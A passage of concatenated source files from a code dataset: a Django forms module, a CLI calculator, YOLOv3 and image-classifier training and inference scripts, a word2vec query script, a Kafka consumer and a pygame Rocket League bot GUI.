({u[4]}))\"), OrgUnitDelegate.objects.delegatedUsers2(self.user.id)))\n list2 = list(map(lambda u: (u[0], F\"{u[2]}, {u[1]}\"), OrgUnitDelegate.objects.delegatedUsers2(self.user.id)))\n userfield.choices = sorted(list(dict.fromkeys(userfield.choices + list2)), key=lambda tup: tup[1])\n\n def get_time_range(self):\n if self.is_valid() == False:\n return None\n\n cleaned_data = self.cleaned_data\n\n if self.can_delegate:\n cleaned_data['user_id'] = cleaned_data['user']\n cleaned_data['org_id'] = OMS.objects.getORG_ID(cleaned_data['user_id']).m2o_org_id\n else:\n cleaned_data['user_id'] = self.user.id\n\n del(cleaned_data['user'])\n\n complexKind = cleaned_data['kind']\n cleaned_data['kind'] = complexKind[:1]\n jsondata = {'v': 1}\n if complexKind[1:] != RuntimeConfig.KIND_DEFAULT:\n jsondata[TimeRange.DATA_KINDDETAIL] = complexKind[1:]\n if 'description' in cleaned_data and cleaned_data['description'] != '':\n jsondata[TimeRange.DATA_DESCRIPTION] = cleaned_data['description']\n if 'part_of_day' in cleaned_data and cleaned_data['part_of_day'] != '':\n jsondata[TimeRange.DATA_PARTIAL] = cleaned_data['part_of_day']\n initData = {\n 'user_id': cleaned_data['user_id'],\n #'orgunit_id': cleaned_data['orgunit_id'],\n 'org_id': cleaned_data['org_id'],\n 'start': cleaned_data['start'],\n 'end': cleaned_data['end'],\n 'kind': complexKind[:1],\n 'data': jsondata\n }\n return TimeRange(**initData)\n\n def _setupKindChoices(self):\n self.fields['kind'].choices = RuntimeConfig().TimeRangeChoices\n\n\nclass FrontPageFilterForm(forms.Form):\n embed = forms.BooleanField(required=False, widget=forms.HiddenInput())\n weekdelta = forms.IntegerField(required=False, widget=forms.HiddenInput())\n users = forms.CharField(required=False, widget=forms.HiddenInput())\n orgunit = forms.ChoiceField(\n required=False,\n widget=forms.Select(\n attrs={'onchange': 'submitFilter();'}\n ),\n label=pgettext_lazy('OrgUnitFilterForm', 'Organizational unit'))\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.fields['orgunit'].choices = mv_odb_org.objects.selectListItemsWithAllChoice()\n\n def clean(self):\n cleaned_data = super().clean()\n if cleaned_data['weekdelta'] is None:\n cleaned_data['weekdelta'] = 0\n\n\nclass OrgUnitFilterForm(forms.Form):\n embed = forms.BooleanField(required=False, widget=forms.HiddenInput())\n fd = forms.CharField(required=False, widget=forms.HiddenInput())\n td = forms.CharField(required=False, widget=forms.HiddenInput())\n orgunit = forms.ChoiceField(\n required=False,\n widget=forms.Select(\n attrs={'onchange': 'filterform.submit();'}\n ),\n label=pgettext_lazy('OrgUnitFilterForm', 'Organizational unit'))\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n #self.fields['orgunit'].choices = OrgUnit.objects.selectListItemsWithAllChoice()\n self.fields['orgunit'].choices = mv_odb_org.objects.selectListItemsWithAllChoice()\n\n\nclass ProfileForm(forms.Form):\n orgunit = forms.ChoiceField(\n required=True,\n help_text=pgettext_lazy(\n 'ProfileForm', 'Default value when adding new entries and for filter'),\n label=pgettext_lazy('ProfileForm', 'Organizational unit'))\n\n def __init__(self, *args, **kwargs):\n self.user = kwargs.pop('user', None)\n super().__init__(*args, **kwargs)\n self.fields['orgunit'].choices = OrgUnit.objects.selectListItems()\n self.fields['orgunit'].initial = TeamMember.objects.get(\n pk=self.user.id).orgunit_id\n\n\nclass ConflictCheckForm(forms.Form):\n start = forms.DateField(\n label=pgettext_lazy('ConflictCheckForm', 'Start'),\n required=True)\n end = forms.DateField(\n label=pgettext_lazy('ConflictCheckForm', 'End'),\n required=True)\n uid = forms.IntegerField(\n required=False\n )\n kind = forms.CharField(required=True)\n part = forms.CharField(required=False)\n\n def __init__(self, *args, **kwargs):\n self.request = kwargs.pop(\"request\")\n super(ConflictCheckForm, self).__init__(*args, **kwargs)\n\n def clean_uid(self):\n conflict_check_user_id = self.cleaned_data['uid']\n if conflict_check_user_id is None:\n self.cleaned_data['uid'] = self.request.user.id\n return\n logged_in_user_id = self.request.user.id\n if self.cleaned_data['uid'] == logged_in_user_id:\n return conflict_check_user_id\n\n if OrgUnitDelegate.objects.isDelegateForUser(\n self.request,\n User.objects.get(pk=conflict_check_user_id)):\n return self.cleaned_data['uid']\n \n raise PermissionDenied('uid invalid')\n","repo_name":"ErikWegner/wamytm","sub_path":"src/wamytmapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":11566,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"17960383873","text":"#!/usr/bin/python3\nfrom calculator_1 import add, sub, mul, div\nimport sys\n\nif __name__ == '__main__':\n if len(sys.argv) != 4:\n print(\"Usage: ./100-my_calculator.py \")\n sys.exit(1)\n else:\n opcode = str(sys.argv[2])\n a = int(sys.argv[1])\n b = int(sys.argv[3])\n\n if opcode == '+':\n print(\"{0} + {1} = {2}\".format(a, b, add(a, b)))\n elif opcode == '-':\n print(\"{0} - {1} = {2}\".format(a, b, sub(a, b)))\n elif opcode == '*':\n print(\"{0} * {1} = {2}\".format(a, b, mul(a, b)))\n elif opcode == '/':\n print(\"{0} / {1} = {2}\".format(a, b, div(a, b)))\n else:\n print(\"Unknown operator. Available operators: +, -, * and /\")\n sys.exit(1)\n","repo_name":"Itsfoss0/alx-higher_level_programming","sub_path":"0x02-python-import_modules/100-my_calculator.py","file_name":"100-my_calculator.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"72071377493","text":"import tensorflow as tf\nfrom core import utils, yolov3\nfrom core.dataset import dataset, Parser\n\nsess = tf.Session()\n\nIMAGE_H, IMAGE_W = 416, 416\nBATCH_SIZE = 8\nSTEPS = 2500\nLR = 0.001 # if Nan, set 0.0005, 0.0001\nDECAY_STEPS = 100\nDECAY_RATE = 0.9\nSHUFFLE_SIZE = 200\nCLASSES = utils.read_coco_names('../data/raccoon.names')\nANCHORS = utils.get_anchors('../data/raccoon_anchors.txt', IMAGE_H, IMAGE_W)\nNUM_CLASSES = len(CLASSES)\nEVAL_INTERNAL = 100\nSAVE_INTERNAL = 500\n\ntrain_tfrecord = \"../data/train_dome_data/images_train.tfrecords\"\ntest_tfrecord = \"../data/train_dome_data/images_test.tfrecords\"\n\nparser = Parser(IMAGE_H, IMAGE_W, ANCHORS, NUM_CLASSES)\ntrainset = dataset(parser, train_tfrecord, BATCH_SIZE, shuffle=SHUFFLE_SIZE)\ntestset = dataset(parser, test_tfrecord, BATCH_SIZE, shuffle=None)\n\nis_training = tf.placeholder(tf.bool)\nexample = tf.cond(is_training, lambda: trainset.get_next(), lambda: testset.get_next())\n\n# y_true = [feature_map_1 , feature_map_2 , feature_map_3]\nimages, *y_true = example # a,*c = 1,2,3,4 a=1, c = [2,3,4]\nmodel = yolov3.yolov3(NUM_CLASSES, ANCHORS)\n\nwith tf.variable_scope('yolov3'):\n pred_feature_map = model.forward(images, is_training=is_training)\n loss = model.compute_loss(pred_feature_map, y_true) # 计算loss值\n y_pred = model.predict(pred_feature_map)\n\ntf.summary.scalar(\"loss/coord_loss\", loss[1])\ntf.summary.scalar(\"loss/sizes_loss\", loss[2])\ntf.summary.scalar(\"loss/confs_loss\", loss[3])\ntf.summary.scalar(\"loss/class_loss\", loss[4])\n\nglobal_step = tf.Variable(0, trainable=False,\n collections=[tf.GraphKeys.LOCAL_VARIABLES]) # 把变量添加到集合tf.GraphKeys.LOCAL_VARIABLES中\nwrite_op = tf.summary.merge_all()\nwriter_train = tf.summary.FileWriter(\"../data/train_dome_data/log/train\")\nwriter_test = tf.summary.FileWriter(\"../data/train_dome_data/log/test\")\n\n# a1 = tf.contrib.framework.get_variables_to_restore(include=[\"yolov3/darknet-53\"])\n# 等价与\n# a2 = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=\"yolov3/darknet-53\")\n# print(a1 == a2)\n# exit()\n# 恢复darknet-53特征提取器的权重参数, 只更新yolo-v3目标预测部分参数.\nsaver_to_restore = tf.train.Saver(\n var_list=tf.contrib.framework.get_variables_to_restore(include=[\"yolov3/darknet-53\"])) # 固定特征提取器\nupdate_vars = tf.contrib.framework.get_variables_to_restore(include=[\"yolov3/yolo-v3\"])\n# 每一百次降低一次学习率, 学习率衰减\nlearning_rate = tf.train.exponential_decay(LR, global_step, decay_steps=DECAY_STEPS, decay_rate=DECAY_RATE,\n staircase=True)\noptimizer = tf.train.AdamOptimizer(learning_rate)\n\n# set dependencies for BN ops 设置BN操作的依赖关系\nupdate_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\nwith tf.control_dependencies(update_ops): # 在更新网络参数是,进行BN方差.等参数的更新\n train_op = optimizer.minimize(loss[0], var_list=update_vars, global_step=global_step)\n\nsess.run([tf.global_variables_initializer(), tf.local_variables_initializer()])\nsaver_to_restore.restore(sess, \"../data/checkpoint/yolov3.ckpt\")\nsaver = tf.train.Saver(max_to_keep=2)\n\nfor step in range(STEPS):\n run_items = sess.run([train_op, write_op, y_pred, y_true] + loss, feed_dict={is_training: True})\n\n # if (step + 1) % EVAL_INTERNAL == 0:\n if True:\n # run_items[2] : boxes [Batch_size,10647,4], confs , probs\n # run_items[3] : feature_map_1 , feature_map_2 , feature_map_3\n train_rec_value, train_prec_value = utils.evaluate(run_items[2], run_items[3]) # 放回查全率, 精确率\n\n # 写入日志\n writer_train.add_summary(run_items[1], global_step=step)\n writer_train.flush() # Flushes the event file to disk 将事件文件刷新到磁盘\n # 保存模型\n if (step + 1) % SAVE_INTERNAL == 0: saver.save(sess, save_path=\"../data/train_dome_data/model/cpk\",\n global_step=step + 1)\n\n print(\"=> STEP %10d [TRAIN]:\\tloss_xy:%7.4f \\tloss_wh:%7.4f \\tloss_conf:%7.4f \\tloss_class:%7.4f\"\n % (step + 1, run_items[5], run_items[6], run_items[7], run_items[8]))\n\n run_items = sess.run([write_op, y_pred, y_true] + loss, feed_dict={is_training: False})\n if (step + 1) % EVAL_INTERNAL == 0:\n test_rec_value, test_prec_value = utils.evaluate(run_items[1], run_items[2])\n print(\"\\n=======================> evaluation result <================================\\n\")\n print(\"=> STEP %10d [TRAIN]:\\trecall:%7.4f \\tprecision:%7.4f\" % (step + 1, train_rec_value, train_prec_value))\n print(\"=> STEP %10d [VALID]:\\trecall:%7.4f \\tprecision:%7.4f\" % (step + 1, test_rec_value, test_prec_value))\n print(\"\\n=======================> evaluation result <================================\\n\")\n\n writer_test.add_summary(run_items[0], global_step=step)\n writer_test.flush() # Flushes the event file to disk 写入磁盘\n","repo_name":"opensourceai/yolov3-tensorflow-cn","sub_path":"train_demo/quick_train.py","file_name":"quick_train.py","file_ext":"py","file_size_in_byte":4934,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"67"} +{"seq_id":"27104743037","text":"import argparse\nimport os\nfrom attrdict import AttrDict\nimport json\nfrom importlib import import_module\n\nimport pandas as pd\nimport torch\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\n\nfrom dataset import TestDataset, MaskBaseDataset\nfrom model import *\n\ndef load_model(saved_model, num_classes, device):\n model_cls = getattr(import_module(\"model\"), args.model)\n model = model_cls(\n num_classes=num_classes\n )\n\n # tarpath = os.path.join(saved_model, 'best.tar.gz')\n # tar = tarfile.open(tarpath, 'r:gz')\n # tar.extractall(path=saved_model)\n\n model_path = saved_model\n model.load_state_dict(torch.load(model_path, map_location=device))\n\n return model\n\ndef custom_load_model(model_name):\n model_cls = getattr(import_module(\"model\"), model_name)\n model = model_cls(\n num_classes = 18\n )\n return model\n\n@torch.no_grad()\ndef inference(data_dir, model_dir, output_dir, args):\n \"\"\"\n \"\"\"\n use_cuda = torch.cuda.is_available()\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n s = model_dir.split('/')\n\n with open('/'.join(s[:-1]) + '/config.json') as f:\n train_config = AttrDict(json.load(f))\n num_classes = MaskBaseDataset.num_classes # 18\n\n\n model = load_model(model_dir, num_classes, device).to(device)\n model.eval()\n img_root = os.path.join(data_dir, 'images')\n\n info_path = os.path.join(data_dir, 'info.csv')\n info = pd.read_csv(info_path)\n\n img_paths = [os.path.join(img_root, img_id) for img_id in info.ImageID]\n dataset = TestDataset(img_paths, args.resize)\n loader = torch.utils.data.DataLoader(\n dataset,\n batch_size=args.batch_size,\n num_workers=2,\n shuffle=False,\n pin_memory=use_cuda,\n drop_last=False,\n )\n\n print(\"Calculating inference results..\")\n preds = []\n with torch.no_grad():\n for idx, images in enumerate(loader):\n images = images.to(device)\n pred = model(images)\n if args.multi == 'on':\n mask_pred = torch.argmax(pred[:, 0:3], dim=-1)\n gender_pred = torch.argmax(pred[:, 3:5], dim=-1)\n age_pred = torch.argmax(pred[:, 5:8], dim=-1)\n pred = mask_pred * 6 + gender_pred * 3 + age_pred\n else:\n pred = pred.argmax(dim=-1)\n preds.extend(pred.cpu().numpy())\n\n info['ans'] = preds\n s = model_dir.split('/')\n info.to_csv(os.path.join(output_dir, f'{s[-2]}_output.csv'), index=False)\n print(f'Inference Done!')\n\ndef custom_inference(data_dir, output_dir, args):\n \"\"\"\n for ensemble in image classification 0408\n \"\"\"\n use_cuda = torch.cuda.is_available()\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\n model_multipred1 = custom_load_model('Testload').to(device)\n model_multipred2 = custom_load_model('MultiPredict4Model').to(device)\n model_single1 = custom_load_model('ViTModel').to(device)\n model_single2 = custom_load_model('EfficientNet4Model').to(device)\n\n model_multipred1.load_state_dict(torch.load('/opt/ml/pycharm/src/model/conf_31_35_vit16_customloss_adamp1e-5_noval_multipred/4_22.24%.pth', map_location=device))\n model_single1.load_state_dict(torch.load('/opt/ml/pycharm/src/model/conf_24_vit16_ce2/best_f1.pth', map_location=device))\n model_multipred2.load_state_dict(\n torch.load('/opt/ml/pycharm/src/model/conf_30_efb4_customloss_adamp1e-5_noval_multipred5/4_20.78%.pth',\n map_location=device))\n model_single2.load_state_dict(\n torch.load('/opt/ml/pycharm/src/model/conf_17_focal_b4_1e-2/best_accuracy_49.pth', map_location=device))\n model_multipred1.eval()\n model_single1.eval()\n model_multipred2.eval()\n model_single2.eval()\n\n img_root = os.path.join(data_dir, 'images')\n\n info_path = os.path.join(data_dir, 'info.csv')\n info = pd.read_csv(info_path)\n\n img_paths = [os.path.join(img_root, img_id) for img_id in info.ImageID]\n dataset = TestDataset(img_paths, args.resize)\n loader = torch.utils.data.DataLoader(\n dataset,\n batch_size=args.batch_size,\n num_workers=2,\n shuffle=False,\n pin_memory=use_cuda,\n drop_last=False,\n )\n\n print(\"Calculating inference results..\")\n soft_preds = []\n hard_preds = []\n with torch.no_grad():\n for idx, images in enumerate(loader):\n images = images.to(device)\n pred_multi1 = model_multipred1(images)\n pred_multi2 = model_multipred2(images)\n\n mask_pred1 = F.softmax(pred_multi1[:, 0:3], dim=1)\n gender_pred1 = F.softmax(pred_multi1[:, 3:5], dim=1)\n age_pred1 = F.softmax(pred_multi1[:, 5:8], dim=1)\n mask_pred2 = F.softmax(pred_multi2[:, 0:3], dim=1)\n gender_pred2 = F.softmax(pred_multi2[:, 3:5], dim=1)\n age_pred2 = F.softmax(pred_multi2[:, 5:8], dim=1)\n\n\n \"\"\"\n soft_m1 = []\n soft_m2 = []\n for m in range(3):\n for g in range(2):\n for a in range(3):\n soft_m1.append(mask_pred1[:, m] * gender_pred1[:, g] * age_pred1[:, a])\n soft_m2.append(mask_pred2[:, m] * gender_pred2[:, g] * age_pred2[:, a])\n soft_m1 = torch.stack(soft_m1, dim=1)\n soft_m2 = torch.stack(soft_m2, dim=1)\n \"\"\"\n pred_single1 = model_single1(images)\n pred_single2 = model_single2(images)\n \"\"\"\n soft_s1 = F.softmax(pred_single1, dim=1)\n soft_s2 = F.softmax(pred_single2, dim=1)\n\n soft_pred = (soft_m1 + soft_s1 + soft_m2 + soft_s2) / 4\n soft_pred = pred.argmax(dim=-1)\n soft_preds.extend(pred.cpu().numpy())\n \"\"\"\n m = torch.argmax(pred_multi1[:, 0:3], dim=-1)\n g = torch.argmax(pred_multi1[:, 3:5], dim=-1)\n a = torch.argmax(pred_multi1[:, 5:8], dim=-1)\n hard_m1 = m * 6 + g * 3 + a\n m = torch.argmax(pred_multi2[:, 0:3], dim=-1)\n g = torch.argmax(pred_multi2[:, 3:5], dim=-1)\n a = torch.argmax(pred_multi2[:, 5:8], dim=-1)\n hard_m2 = m * 6 + g * 3 + a\n hard_s1 = pred_single1.argmax(dim=-1)\n hard_s2 = pred_single2.argmax(dim=-1)\n hard_pred = []\n hard_pred.append(hard_m1)\n hard_pred.append(hard_m2)\n hard_pred.append(hard_s1)\n hard_pred.append(hard_s2)\n hard_pred2 = []\n for i in torch.stack(hard_pred, dim=1):\n l, c = torch.unique_consecutive(i, return_counts=True)\n hard_pred2.append(i[c.argmax()])\n hard_pred = torch.tensor(hard_pred2)\n hard_preds.extend(hard_pred.cpu().numpy())\n info['ans'] = hard_preds\n info.to_csv(os.path.join(output_dir, f'ensemble_m12_s12_hard_output.csv'), index=False)\n print(f'Inference Done!')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n # Data and model checkpoints directories\n parser.add_argument('--batch_size', type=int, default=32, help='input batch size for validing (default: 1000)')\n parser.add_argument('--resize', type=tuple, default=(384, 384), help='resize size for image when you trained (default: (96, 128))')\n parser.add_argument('--model', type=str, default='BaseModel', help='model type (default: BaseModel)')\n parser.add_argument('--arcface', type=str, default='off')\n parser.add_argument('--metric_dir', type=str, default='off')\n parser.add_argument('--multi', type=str, default='off')\n parser.add_argument('--last', type=str, default='off')\n\n # Container environment\n parser.add_argument('--data_dir', type=str, default=os.environ.get('SM_CHANNEL_EVAL', '/opt/ml/input/data/eval'))\n parser.add_argument('--model_dir', type=str, default=os.environ.get('SM_CHANNEL_MODEL', './model'))\n parser.add_argument('--output_dir', type=str, default=os.environ.get('SM_OUTPUT_DATA_DIR', './output'))\n\n args = parser.parse_args()\n\n data_dir = args.data_dir\n model_dir = args.model_dir\n output_dir = args.output_dir\n\n os.makedirs(output_dir, exist_ok=True)\n\n if args.last == 'on':\n custom_inference(data_dir, output_dir, args)\n else:\n inference(data_dir, model_dir, output_dir, args)\n\n","repo_name":"bcaitech1/p1-img-hanmarookim","sub_path":"src/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":8357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34345695656","text":"\"\"\"Utilities.\n\"\"\"\nimport os\n\nimport pandas as pd\n\nDATA_PATH = \"./data\"\n\ndef load_data(data_file=\"EMGaussian.data\", header=None, delimiter=\" \"):\n \"\"\"Loads data file.\n data_file (str, optional): Defaults to \"EMGaussian.data\". Name of data file, must be in \"./data\".\n \n Returns:\n np.array: loaded data.\n \"\"\"\n\n data = pd.read_csv(os.path.join(DATA_PATH, data_file), header=header, delimiter=delimiter)\n data = data.values\n print(f\"data {data.shape} loaded\")\n return data\n","repo_name":"CharlieCheckpt/Kmeans-GMM","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25981926282","text":"import argparse\nfrom datetime import datetime\nimport logging\n\nfrom gensim.models import word2vec\n\nformatter = '%(levelname)s : %(asctime)s : %(message)s'\nlogging.basicConfig(level=logging.INFO, filename='log/predict.log', format=formatter)\nlogger = logging.getLogger(__name__)\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-p', '--positive', type=str, nargs='*', help='positive words')\nparser.add_argument('-n', '--negative', type=str, nargs='*', help='negative words')\n\nargs = parser.parse_args()\npositive = args.positive\nnegative = args.negative\n\nmodel = word2vec.Word2Vec.load(\"model/jawiki.model\")\nlogger.info('Loaded model')\n\nresult = model.most_similar(positive=positive, negative=negative)\nlogger.info('Predicted model')\nprint('positive words:', positive)\nprint('negative words:', negative)\nprint('result')\nfor r in result:\n print(r)","repo_name":"tiruka/research_synonyms","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22338861901","text":"from confluent_kafka import Consumer\n\n#https://docs.confluent.io/clients-confluent-kafka-python/current/index.html\n# used the basic configuration and basic_consume_log \n\n\nconf = {'bootstrap.servers': \"localhost:9092\",\n 'group.id': \"sf_police_dept_calls\",\n 'auto.offset.reset': \"earliest\"}\n\nconsumer = Consumer(conf)\n\ntopics = [\"sf_police_dept_calls_kafka_server\"]\n\nrunning = True\n\ndef basic_consume_loop(consumer, topics):\n try:\n consumer.subscribe(topics)\n\n while running:\n msg = consumer.poll(timeout=1.0)\n if msg is None: continue\n\n if msg.error():\n if msg.error().code() == KafkaError._PARTITION_EOF:\n # End of partition event\n sys.stderr.write('%% %s [%d] reached end at offset %d\\n' %\n (msg.topic(), msg.partition(), msg.offset()))\n elif msg.error():\n raise KafkaException(msg.error())\n else:\n #msg_process(msg)\n print(f\"Successfully poll a record from \"\n f\"Kafka topic: {msg.topic()}, partition: {msg.partition()}, offset: {msg.offset()}\\n\"\n f\"message value: {msg.value()}\")\n finally:\n # Close down consumer to commit final offsets.\n consumer.close()\n\ndef shutdown():\n running = False\n \nif __name__ == \"__main__\":\n basic_consume_loop(consumer, topics)\n \n","repo_name":"kimsifers/SF-Crime-Statistics-with-Spark-Streaming","sub_path":"consumer_server.py","file_name":"consumer_server.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73393397654","text":"import os\nimport sys\nimport pygame\nfrom util import *\nfrom classes import *\nfrom paths import pathTypes\nfrom copy import deepcopy\n\n\nfolder = os.path.dirname(os.path.realpath(__file__))\nbackground = os.path.join(folder, \"background.jpg\")\n\nIMG_WIDTH = 1487\nIMG_HEIGHT = 1006\nSCALE = 0.5\n\n\nclass GUI():\n def __init__(self):\n pygame.init()\n pygame.font.init()\n pygame.display.set_caption(\"Paul\")\n self.window = pygame.display.set_mode((int(IMG_WIDTH * SCALE), int(IMG_HEIGHT * SCALE)))\n self.bg = pygame.image.load(background).convert_alpha()\n self.white = (255, 255, 255)\n self.orange = (255, 150, 0)\n self.blue = (0, 120, 255)\n self.black = (0, 0, 0)\n self.purple = (148, 0, 211)\n self.red = (255, 0, 0)\n self.green = (0, 255, 0)\n self.grey = (150, 150, 150)\n self.event_text = pygame.font.Font('freesansbold.ttf', 10)\n\n self.editing = True # a new path will replace the existing path\n self.event_editing = False # locks newlines and editing\n self.new_line = False\n\n def update(self, game, agent):\n\n # start and end are flags for mouse events, arm is for triggering an event edit or creating a new event\n start_flag = end_flag = arm_edit = arm_new = up_flag = down_flag = False\n close_event = None\n\n # drawing background\n self.render(self.bg, 0, 0, int(IMG_WIDTH * SCALE), int(IMG_HEIGHT * SCALE))\n\n # recording mouse events\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1 or event.button == 3:\n start_flag = True\n elif event.button == 4:\n # up scroll\n up_flag = True\n elif event.button == 5:\n # down scroll\n down_flag = True\n elif event.type == pygame.MOUSEBUTTONUP:\n if event.button == 1 or event.button == 3:\n end_flag = True\n self.new_line = True\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_1:\n agent.path = deepcopy(pathTypes.basicShot)\n elif event.key == pygame.K_2:\n agent.path = pathTypes.basicShot\n elif event.key == pygame.K_3:\n agent.path = pathTypes.basicShot\n elif event.key == pygame.K_4:\n agent.path = pathTypes.basicShot\n elif event.key == pygame.K_5:\n agent.path = pathTypes.basicShot\n\n if event.type == pygame.QUIT: # no more hanging on exit\n pygame.quit()\n sys.exit()\n\n mouse_position = pygame.mouse.get_pos()\n mouse_buttons = pygame.mouse.get_pressed()\n\n if len(agent.path.lines) > 0:\n\n # Drawing path and finding closest line to the mouse\n close_dist = dist2d(line_projection(*agent.path.get_points(), self.game_coords(mouse_position)),\n self.game_coords(mouse_position))\n close_line = agent.path.get_line()\n\n for item in agent.path.lines:\n temp = dist2d(line_projection(item.start, item.end, self.game_coords(mouse_position)),\n self.game_coords(mouse_position))\n if temp < close_dist:\n close_dist = temp\n close_line = item\n self.line(self.gui_coords(*a2(item.start)), self.gui_coords(*a2(item.end)), self.purple)\n # draws events on line\n for event in item.events:\n event_loc = set_dist2d(item.start, item.end, event.distance)\n self.circle(*self.gui_coords(*a2(event_loc)), 2, self.black)\n\n # drawing the mouse projection\n mouse_distance = dist2d(close_line.start, line_projection(\n close_line.start, close_line.end, self.game_coords(mouse_position)))\n\n # arming event_editing, causes start flag to trigger editing mode instead of newline\n if (close_dist < 200 and mouse_distance - 50 < dist2d(close_line.start, close_line.end) and\n dist2d(line_projection(close_line.start, close_line.end, self.game_coords(mouse_position)),\n close_line.end) - 50 < dist2d(close_line.start, close_line.end)):\n # changing the projection circle color if we are over a line or event\n highlight = self.black\n for event in close_line.events:\n if event.distance + 50 > mouse_distance and event.distance - 50 < mouse_distance:\n if start_flag:\n event.active_editing = True\n arm_edit = True\n close_event = event\n highlight = self.blue\n break\n elif event.active_editing:\n highlight = self.blue\n break\n\n if not arm_edit:\n if close_dist < 70:\n highlight = self.green\n arm_new = True\n\n self.circle(*self.gui_coords(*line_projection(close_line.start, close_line.end,\n self.game_coords(mouse_position))), 5, highlight, 2)\n\n # entry circle\n if hasattr(agent, \"circle_center\"):\n self.circle(*self.gui_coords(*a2(agent.circle_center)),\n self.gui_rescale(agent.circle_radius), self.grey, 1)\n\n # Flags and Mouse clicks are handled below\n # Drawing with the rightmousebutton turns editing back on so that a new path can be created\n if self.editing:\n if start_flag:\n self.line_start = mouse_position\n if end_flag:\n self.line_end = mouse_position\n if mouse_buttons[2] == 1 or mouse_buttons[0] == 1:\n self.line(self.line_start, mouse_position, self.purple)\n if self.new_line:\n temp = line(a3([*self.game_coords(self.line_start), 20]),\n a3([*self.game_coords(self.line_end), 20]), 1400)\n agent.path = path([temp])\n self.editing = False\n self.new_line = False\n elif self.event_editing:\n if mouse_buttons[0] == 1:\n for event in close_line.events:\n if event.active_editing and not event.anchored:\n event.distance = mouse_distance\n if end_flag is True:\n for event in close_line.events:\n event.active_editing = False\n self.event_editing = False\n else:\n if start_flag:\n if arm_new:\n close_line.events.append(Event(mouse_distance, 1400))\n elif arm_edit:\n self.event_editing = True\n self.editing = False\n else:\n self.line_start = mouse_position\n elif end_flag:\n self.line_end = mouse_position\n\n if mouse_buttons[2] == 1:\n self.line(self.line_start, mouse_position, self.purple)\n self.editing = True\n agent.path.clean()\n\n if mouse_buttons[0] == 1:\n if not arm_new and not arm_edit:\n self.line(self.line_start, mouse_position, self.purple)\n else:\n self.new_line = False\n\n if self.new_line:\n if not arm_new and not arm_edit:\n temp = line(a3([*self.game_coords(self.line_start), 20]),\n a3([*self.game_coords(self.line_end), 20]), 1400)\n agent.path.lines.append(temp)\n self.editing = False\n self.new_line = False\n else:\n self.new_line = False\n\n if up_flag and close_event is not None:\n close_event.speed += 10\n elif down_flag and close_event is not None:\n close_event.speed -= 10\n\n ball_loc = game.gameball.Location\n\n # drawing the ball\n self.circle(*self.gui_coords(ball_loc.X, ball_loc.Y), 5, self.black)\n\n # drawing each car\n for i in range(game.numCars):\n car = game.gamecars[i]\n if car.Team == 0:\n car_color = self.blue\n else:\n car_color = self.orange\n self.circle(*self.gui_coords(car.Location.X, car.Location.Y), 5, car_color)\n\n # player only\n if i == agent.index and len(agent.path.lines) > 0:\n # drawing nearest point on the user-made line\n line_projected_point = line_projection(*agent.path.get_points(), (car.Location.X, car.Location.Y))\n self.circle(*self.gui_coords(*line_projected_point), 1, car_color)\n\n # drawing lines to both goals\n for team in range(2):\n\n # enemy near post location (2D)\n near_post = (GOAL_WIDTH / 2 * sign(ball_loc.X), FIELD_LENGTH / 2 * sign(team))\n\n far_post = ((GOAL_WIDTH / 2 - BALL_RADIUS) * -sign(ball_loc.X), FIELD_LENGTH / 2 * sign(team))\n\n # drawing a circle around the near post\n self.circle(*self.gui_coords(*near_post), 5, self.white, 1)\n\n tangent_x, tangent_y = tangent_point(near_post, BALL_RADIUS, ball_loc, sign(team) * sign(ball_loc.X))\n\n # (ball, tangent_point) line intersection with the the goal line\n x_point = line_intersect([(1, near_post[1]), (-1, near_post[1])], [(ball_loc.X, ball_loc.Y),\n (tangent_x, tangent_y)])[0]\n\n # extending the lines from starting point by a fixed ammount\n line_length = 11000\n\n extended_tangent_point = set_dist2d([x_point, near_post[1]], ball_loc, line_length)\n\n extended_far_point = set_dist2d(far_post, ball_loc, line_length)\n\n if team == 0:\n line_color = self.blue\n else:\n line_color = self.orange\n\n # drawing tangent line passing near post\n self.line(self.gui_coords(x_point, near_post[1]), self.gui_coords(*extended_tangent_point), line_color)\n\n # drawing line to far post\n self.line(self.gui_coords(*far_post), self.gui_coords(*extended_far_point), line_color)\n\n # drawing near post entrance indication point\n self.circle(*self.gui_coords(x_point, near_post[1]), 1, self.white)\n\n # drawing far post indication point\n self.circle(*self.gui_coords(*far_post), 1, self.white)\n\n if hasattr(agent, \"player_circle\"):\n # drawing the circle showing the current min turn radius\n self.circle(*self.gui_coords(*a2(agent.player_circle)),\n self.gui_rescale(agent.player_radius), self.purple, 1)\n\n # This draws the point the agent is currently targeting\n self.circle(*self.gui_coords(*a2(agent.target_loc)), 2, self.red)\n\n if arm_edit:\n self.draw_event_box(close_event, *mouse_position)\n\n pygame.display.update()\n\n def post_update(self, agent):\n\n pygame.display.update()\n\n def draw_event_box(self, event, x, y):\n text = []\n 